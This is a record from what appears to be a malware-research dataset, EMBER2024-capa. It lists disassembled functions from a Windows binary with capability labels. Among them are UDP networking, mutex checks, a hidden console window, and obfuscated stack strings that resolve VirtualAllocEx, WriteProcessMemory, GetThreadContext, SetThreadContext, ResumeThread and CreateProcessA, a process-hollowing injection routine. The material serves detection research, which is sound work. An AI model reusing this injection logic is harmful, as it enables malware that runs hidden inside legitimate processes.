joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40305f
Capabilities:
Connect socket
Connect udp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x574e04]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push 0x11
push 2
xor ebx, ebx
push 2
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], ebx
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi + 0x40], eax
cmp eax, 0xffffffff
jne 0x403096
xor eax, eax
jmp 0x4031b2
push edi
push ebx
push ebx
lea ecx, [ebp - 0x2c]
push ecx
push ebx
push ebx
push 4
lea ecx, [ebp - 0x20]
push ecx
push 0x9800000c
push eax
mov dword [ebp - 0x20], ebx
call dword [sym.imp.WS2_32.dll_WSAIoctl]
mov edi, dword [sym.imp.WS2_32.dll_setsockopt]
push 4
lea eax, [ebp - 0x20]
push eax
push 0xfffffffffffffffb
push 0xffff
push dword [esi + 0x40]
call edi
push 4
lea eax, [ebp - 0x20]
push eax
push 4
push 0xffff
push dword [esi + 0x40]
call edi
call dword [sym.imp.WS2_32.dll_WSACreateEvent]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
push ebx
push ebx
push ebx
push ebx
push dword [ebp - 0x18]
mov dword [esi + 0x44], eax
call edi
push eax
push dword [ebp - 0x18]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0x28], eax
inc eax
push eax
call fcn.0040633e
pop ecx
push ebx
push ebx
push dword [ebp - 0x28]
mov dword [ebp - 0x24], eax
push eax
push dword [ebp - 0x18]
call edi
push eax
push dword [ebp - 0x18]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edi, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
push edi
mov byte [edi + eax], bl
call dword [sym.imp.WS2_32.dll_gethostbyname]
push edi
mov dword [ebp - 0x24], eax
call fcn.00406333
mov edi, dword [ebp - 0x24]
pop ecx
cmp edi, ebx
jne 0x40314c
xor eax, eax
jmp 0x4031b1
push 2
pop eax
push dword [ebp + 0xc]
mov word [ebp - 0x14], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
mov eax, dword [edi + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
push 0x30
push dword [esi + 0x44]
mov dword [ebp - 0x10], eax
push dword [esi + 0x40]
call dword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
je 0x4031ae
push 0x10
lea eax, [ebp - 0x14]
push eax
push dword [esi + 0x40]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, ebx
je 0x4031a7
cmp eax, 0xffffffff
jne 0x4031a2
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x4031a7
mov dword [ebp - 0x1c], ebx
jmp 0x4031ae
mov dword [ebp - 0x1c], 1
mov eax, dword [ebp - 0x1c]
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.005047ac
leave
ret 8
Function at 0x40347f
Capabilities:
Send data
Send data on socket

Disassembly:
mov eax, dword [eax + 0x14]
push edi
test eax, eax
je 0x40349e
xor edi, edi
inc edi
mov dword [esi + 0x30], edi
mov dword [esi + 0x34], 2
mov dword [esi + 0x38], eax
mov dword [esi + 0x3c], edi
xor eax, eax
pop edi
ret
push 0x23
push dword [esi + 0x44]
push dword [esi + 0x40]
call dword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
jne 0x4034b9
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x403487
lea eax, [esi + 0x19c]
xor edi, edi
push eax
inc edi
mov dword [esi + 0x60], edi
push esi
lea ecx, [esi + 0x1d8]
mov eax, esi
mov dword [esi + 0x64], edi
call fcn.00403e0c
push 0
push 0
push 0
push dword [esi + 0x40]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x403503
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x4034fa
xor eax, eax
test eax, eax
je 0x403503
call fcn.00406451
mov eax, edi
pop edi
ret

Function at 0x403507
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push ebp
push esi
push edi
push 0
push 0x598
push dword [ebx + 0x70]
push dword [ebx + 0x40]
call dword [sym.imp.WS2_32.dll_recv]
mov ebp, eax
test ebp, ebp
jle 0x4035c0
cmp ebp, 0x10
jne 0x403546
mov esi, dword [ebx + 0x70]
push 4
pop ecx
mov edi, 0x554488
xor eax, eax
repe cmpsd dword [esi], dword es:[edi]
je 0x4035ee
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov edx, dword [ebx + 0x1c0]
mov esi, dword [ebx + 0x1c8]
mov eax, dword [ebx + 0x70]
lea ecx, [ebx + 0x1d8]
cmp ebp, 0x18
jl 0x403575
push edx
push esi
push ebp
push eax
mov esi, ecx
call fcn.00404233
jmp 0x40358c
cmp ebp, 0xc
jne 0x403581
call fcn.004040f4
jmp 0x40358c
push 0xd
call dword [sym.imp.WS2_32.dll_WSASetLastError]
push 2
pop eax
cmp eax, 2
jne 0x40350f
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x4035a4
mov eax, 0x4c7
xor ecx, ecx
inc ecx
mov dword [ebx + 0x3c], ecx
mov dword [ebx + 0x38], eax
mov dword [ebx + 0x34], 4
mov dword [ebx + 0x30], ecx
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
ret 4
cmp ebp, 0xffffffff
jne 0x40350f
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x403604
cmp eax, 0x2744
je 0x40350f
cmp eax, 0x2746
je 0x40350f
jmp 0x4035a4
and dword [ebx + 0x38], eax
and dword [ebx + 0x3c], eax
mov dword [ebx + 0x30], 1
mov dword [ebx + 0x34], 5
jmp 0x4035b7
xor eax, eax
inc eax
jmp 0x4035b9
Function at 0x403609
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x10
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea eax, [esi + 0x7c]
push edi
mov dword [esp + 0x10], eax
mov eax, dword [esi + 0x194]
test eax, eax
jle 0x403702
lea eax, [esi + 0x160]
push eax
call ebx
lea ecx, [esi + 0x178]
call fcn.004015d4
mov edi, eax
lea eax, [esi + 0x160]
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
test edi, edi
je 0x403702
mov ecx, dword [edi + 0x14]
mov eax, dword [edi + 0x18]
push 0
sub eax, ecx
push eax
push ecx
push dword [esi + 0x40]
call dword [sym.imp.WS2_32.dll_send]
mov dword [esp + 0xc], eax
test eax, eax
jle 0x403699
lea eax, [esi + 0x160]
push eax
call ebx
mov eax, dword [esp + 0xc]
sub dword [esi + 0x194], eax
lea eax, [esi + 0x160]
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x40369e
cmp eax, 0xffffffff
je 0x4036ac
mov eax, dword [esp + 0x10]
call fcn.00401357
jmp 0x403621
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x40370b
lea eax, [esi + 0x160]
push eax
mov dword [esp + 0x10], eax
call ebx
mov eax, dword [esi + 0x17c]
test eax, eax
je 0x4036de
mov dword [eax + 8], edi
mov eax, dword [esi + 0x17c]
mov dword [edi + 4], eax
jmp 0x4036ec
and dword [edi + 8], 0
and dword [edi + 4], 0
mov dword [esi + 0x180], edi
push dword [esp + 0xc]
inc dword [esi + 0x178]
mov dword [esi + 0x17c], edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor eax, eax
inc eax
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
xor ecx, ecx
inc ecx
mov dword [esi + 0x38], eax
mov eax, dword [esp + 0x10]
mov dword [esi + 0x30], ecx
mov dword [esi + 0x34], 3
mov dword [esi + 0x3c], ecx
call fcn.00401357
xor eax, eax
jmp 0x403705
Function at 0x40372b
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 8], eax
mov eax, dword [edi + 0x64]
cmp eax, 3
je 0x4037a5
lea eax, [ebp - 4]
lea esi, [edi + 0x15c]
push eax
call fcn.00402718
mov eax, dword [edi + 0x64]
cmp eax, 1
je 0x403760
mov eax, dword [edi + 0x64]
test eax, eax
jne 0x40379c
mov eax, dword [ebp - 4]
xor esi, esi
mov dword [edi + 0x64], 2
mov dword [eax], esi
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_SetEvent]
cmp dword [edi + 0x54], esi
je 0x4037cd
mov eax, dword [ebp - 8]
cmp eax, dword [edi + 0x58]
je 0x4037be
push dword [edi + 0x18c]
call ebx
push dword [edi + 0x54]
call fcn.0040275e
pop ecx
test eax, eax
jne 0x4037be
call fcn.00406451
mov eax, dword [ebp - 4]
mov dword [eax], 0
push 0x139f
mov dword [edi + 0x5c], 1
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
jmp 0x403845
push dword [edi + 0x54]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [edi + 0x54], esi
mov dword [edi + 0x58], esi
mov eax, dword [edi + 0x60]
test eax, eax
je 0x4037ed
cmp dword [edi + 0x3c], esi
je 0x4037ea
push esi
push 0x10
push 0x554488
push dword [edi + 0x40]
call dword [sym.imp.WS2_32.dll_send]
mov dword [edi + 0x60], esi
cmp dword [edi + 0x30], esi
je 0x40380b
push dword [edi + 0x48]
call fcn.0046d538
pop ecx
push dword [edi + 4]
call ebx
push esi
lea eax, [edi + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov eax, dword [edi + 0x44]
pop ebx
cmp eax, esi
je 0x40381d
push eax
call dword [sym.imp.WS2_32.dll_WSACloseEvent]
mov dword [edi + 0x44], esi
mov eax, dword [edi + 0x40]
cmp eax, 0xffffffff
je 0x40383b
push 1
push eax
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [edi + 0x40]
call dword [sym.imp.WS2_32.dll_closesocket]
or dword [edi + 0x40], 0xffffffff
mov esi, edi
call fcn.00403848
xor eax, eax
inc eax
pop esi
leave
ret
Function at 0x403aa2
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push str.kernel32.dll
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0x554548
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
call dword [sym.imp.WINMM.dll_timeGetTime]
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov dword [esi + 0x14], eax
lea eax, [esi + 0x18]
push 0
push eax
call ebx
xor eax, eax
lea edi, [esi + 0x20]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
mov eax, dword [esi + 0x14]
mov dword [esi + 0x20], eax
mov eax, dword [esi + 0x18]
mov dword [esi + 0x24], eax
mov eax, dword [esi + 0x64]
mov word [esi + 0x28], 0xca
cmp eax, 3
je 0x403b03
mov edi, esi
call fcn.0040372b
push dword [ebp + 0xc]
mov eax, esi
push dword [ebp + 8]
call fcn.00402ed6
push 0x1770
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor edi, edi
cmp eax, edi
je 0x403b3d
cmp eax, 0x102
je 0x403b30
cmp eax, 0xffffffff
jne 0x403b39
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_ResetEvent]
xor al, al
jmp 0x403b6b
push 1
lea eax, [esi + 0x18]
push eax
call ebx
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_ResetEvent]
lea eax, [ebp - 4]
push eax
push edi
push esi
push 0x403b72
push edi
push edi
call fcn.0050513b
mov dword [esi + 0x268], eax
add esp, 0x18
mov al, 1
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x40474c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebx
xor ebx, ebx
cmp byte [0x57f1e0], bl
jne 0x40481f
push esi
push str.0:db0:lk0:hs0:ld0:ll0:hb0:pj71.4_.4202:zb0.1:bb
mov byte [0x57f1e0], 1
call fcn.005053a0
mov dword [esp], 0x12a0
push ebx
mov esi, 0x57d400
push esi
call fcn.005067a0
push ebx
push 0x57d41e
push 0x5545c8
call fcn.00404508
push ebx
push 0x57d61c
push 0x5545d0
call fcn.00404508
push 0x57d658
push ebx
push 0x5545d8
call fcn.00404508
push ebx
push 0x57d65c
push 0x5545e0
call fcn.00404508
push ebx
push 0x57d85a
push 0x5545e8
call fcn.00404508
add esp, 0x48
push 0x57d898
push ebx
push 0x5545f0
call fcn.00404508
push ebx
push 0x57d89c
push 0x5545f8
call fcn.00404508
push ebx
push 0x57da9a
push 0x554600
call fcn.00404508
push 0x57dad8
push ebx
push 0x554608
call fcn.00404508
add esp, 0x30
mov eax, esi
pop esi
pop ebx
jmp fcn.0040461f
pop ebx
ret
Function at 0x404a86
Capabilities:
Check mutex on windows
Create thread

Disassembly:
push esi
push str.MyUniqueMutexName
push 1
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x57cfb0], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x404ab7
push dword [0x57cfb0]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x404b17
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_PostThreadMessageA]
call dword [sym.imp.USER32.dll_GetInputState]
call fcn.0040474c
push esi
push esi
push esi
push 0x404978
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [0x57cfb0]
call esi
xor eax, eax
pop esi
ret 0x10

Function at 0x404b1d
Capabilities:
Accept command line arguments

Disassembly:
push 0xc8
mov eax, 0x527e67
call fcn.00505e4b
mov esi, ecx
lea eax, [ebp - 0x14]
push eax
mov dword [ebp - 0x14], 8
mov dword [ebp - 0x10], 0xff
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
mov ecx, esi
call fcn.00407eff
xor edi, edi
push edi
call fcn.00408e20
pop ecx
push 5
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call main
push 0xc
call fcn.00406304
pop ecx
mov dword [ebp - 0x18], eax
mov dword [ebp - 4], edi
cmp eax, edi
je 0x404b8a
mov ecx, eax
call fcn.004095cf
mov ebx, eax
jmp 0x404b8c
xor ebx, ebx
or dword [ebp - 4], 0xffffffff
push 0x554634
mov ecx, esi
call fcn.0040975e
push edi
push 0x66
lea ecx, [ebp - 0xd4]
call fcn.0040e2e8
xor edi, edi
inc edi
mov dword [ebp - 4], edi
mov dword [ebp - 0xd4], 0x55492c
call fcn.0040ec08
call fcn.0040ec08
mov eax, dword [eax + 0xc]
push 0x80
push eax
call dword [sym.imp.USER32.dll_LoadIconW]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0xd4]
mov dword [ebp - 4], 2
mov ecx, eax
mov dword [esi + 0x20], eax
call fcn.0040a780
test ebx, ebx
je 0x404bf9
mov eax, dword [ebx]
push edi
mov ecx, ebx
call dword [eax + 4]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xd4]
call fcn.00404c10
xor eax, eax
call fcn.00505f23
ret
Function at 0x405a7d
Capabilities:
Create thread

Disassembly:
xor eax, eax
push eax
push eax
push esi
push 0x4058dd
push eax
push eax
call fcn.0050513b
add esp, 0x18
push 0xbb8
mov dword [esi + 0x18], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [esi + 4]
mov eax, dword [ecx]
jmp dword [eax]
Function at 0x405e10
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x574e04]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x14]
push eax
push 0x554464
mov dword [ebp - 0x14], 0x74726956
mov dword [ebp - 0x10], 0x416c6175
mov dword [ebp - 0xc], 0x636f6c6c
mov word [ebp - 8], 0x7845
mov byte [ebp - 6], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40
push 0x3000
push edi
push 0
push esi
call eax
test eax, eax
je 0x405e7a
push 0
push edi
push dword [ebp - 0x18]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005047ac
leave
ret

Function at 0x405e86
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x310
mov eax, dword [0x574e04]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [ebp - 0x30c], eax
mov eax, dword [ebp + 0xc]
push 0x2c8
mov dword [ebp - 0x310], eax
lea eax, [ebp - 0x304]
push 0
push eax
call fcn.005067a0
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
add esp, 0xc
lea eax, [ebp - 0x28]
push eax
mov ebx, 0x554464
push ebx
mov dword [ebp - 0x308], 0x10007
mov dword [ebp - 0x28], 0x54746547
mov dword [ebp - 0x24], 0x61657268
mov dword [ebp - 0x20], 0x6e6f4364
mov dword [ebp - 0x1c], 0x74786574
mov byte [ebp - 0x18], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
lea ecx, [ebp - 0x308]
push ecx
mov ecx, dword [ebp - 0x30c]
push dword [ecx + 4]
call eax
test eax, eax
jne 0x405f23
xor eax, eax
jmp 0x405fa0
mov eax, dword [ebp - 0x310]
mov dword [ebp - 0x250], eax
lea eax, [ebp - 0x3c]
push eax
push ebx
mov dword [ebp - 0x3c], 0x54746553
mov dword [ebp - 0x38], 0x61657268
mov dword [ebp - 0x34], 0x6e6f4364
mov dword [ebp - 0x30], 0x74786574
mov byte [ebp - 0x2c], 0
call esi
push eax
call edi
lea ecx, [ebp - 0x308]
push ecx
mov ecx, dword [ebp - 0x30c]
push dword [ecx + 4]
call eax
test eax, eax
je 0x405f1f
lea eax, [ebp - 0x14]
push eax
push ebx
mov dword [ebp - 0x14], 0x75736552
mov dword [ebp - 0x10], 0x6854656d
mov dword [ebp - 0xc], 0x64616572
mov byte [ebp - 8], 0
call esi
push eax
call edi
mov ecx, dword [ebp - 0x30c]
push dword [ecx + 4]
call eax
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005047ac
leave
ret
Function at 0x405fb1
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x188
mov eax, dword [0x574e04]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x13c], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x140], eax
mov eax, dword [0x57e6a4]
xor ebx, ebx
push 0xfe
mov dword [ebp - 0x144], eax
lea eax, [ebp - 0x137]
push ebx
push eax
mov byte [ebp - 0x138], bl
call fcn.005067a0
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
add esp, 0xc
lea eax, [ebp - 0x38]
push eax
push 0x554464
mov dword [ebp - 0x38], 0x53746547
mov dword [ebp - 0x34], 0x65747379
mov dword [ebp - 0x30], 0x7269446d
mov dword [ebp - 0x2c], 0x6f746365
mov dword [ebp - 0x28], 0x417972
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
push 0xff
lea ecx, [ebp - 0x138]
push ecx
call eax
push 0x40
lea eax, [ebp - 0x184]
push ebx
push eax
mov byte [ebp - 0x135], bl
mov dword [ebp - 0x188], 0x44
call fcn.005067a0
xor eax, eax
add esp, 0xc
mov word [ebp - 0x158], ax
lea eax, [ebp - 0x14]
push eax
push 0x554464
mov dword [ebp - 0x15c], 1
mov dword [ebp - 0x14], 0x61657243
mov dword [ebp - 0x10], 0x72506574
mov dword [ebp - 0xc], 0x7365636f
mov word [ebp - 8], 0x4173
mov byte [ebp - 6], bl
call edi
push eax
call esi
push dword [ebp - 0x140]
lea ecx, [ebp - 0x188]
push ecx
push ebx
push ebx
push 4
push ebx
push ebx
push ebx
push ebx
lea ecx, [ebp - 0x138]
push ecx
call eax
test eax, eax
je 0x406145
lea eax, [ebp - 0x24]
push eax
push 0x554464
mov dword [ebp - 0x24], 0x74726956
mov dword [ebp - 0x20], 0x416c6175
mov dword [ebp - 0x1c], 0x636f6c6c
mov word [ebp - 0x18], 0x7845
mov byte [ebp - 0x16], bl
call edi
push eax
call esi
mov edi, dword [ebp - 0x13c]
mov esi, dword [ebp - 0x140]
push 0x40
push 0x3000
push edi
push ebx
push dword [esi]
call eax
mov dword [ebp - 0x13c], eax
cmp eax, ebx
je 0x406145
push dword [ebp - 0x144]
mov esi, dword [esi]
call fcn.00405e10
pop ecx
test eax, eax
je 0x406145
push dword [ebp - 0x13c]
push dword [ebp - 0x140]
call fcn.00405e86
pop ecx
pop ecx
jmp 0x406147
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005047ac
leave
ret
Function at 0x4089fb
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
cmp dword [ebp + 0xc], ebx
je 0x408a43
call fcn.0040ec08
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x408a43
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 4], eax
test eax, eax
je 0x408a86
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
test ebx, ebx
je 0x408a6f
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x408a6f
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x68], 0
je 0x408a83
mov ecx, dword [esi + 0x68]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x40a97f
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
xor ebx, ebx
call fcn.0040ec08
mov esi, dword [eax + 0xc]
push 5
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x40a9b8
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov ecx, dword [ebp - 4]
push esi
push dword [ebp + 0xc]
push ebx
call fcn.0040a5bc
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 8

Function at 0x40aa16
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [edi + 0x78], ebx
test ebx, 0xffff0000
jne 0x40aa3a
cmp dword [edi + 0x74], 0
jne 0x40aa3a
movzx eax, bx
mov dword [edi + 0x74], eax
call fcn.0040ec08
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.0040a9d7
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x4158ba
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x415901
call fcn.0040ec08
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x415901
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x41591d
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.004153ba
mov esi, eax
test edi, edi
je 0x41591b
test ebx, ebx
je 0x41591b
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x4160f7
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x521a9b
call fcn.00505e4b
mov esi, ecx
cmp dword [esi + 0x6c], 0
jne 0x41611c
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextW]
jmp 0x41616e
call fcn.0040821b
push eax
lea ecx, [ebp - 0x10]
call fcn.00404fbb
mov ecx, dword [esi + 0x6c]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00505f55
push eax
call fcn.004057fa
add esp, 0x14
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.00404427
mov eax, esi
call fcn.00505f23
ret 8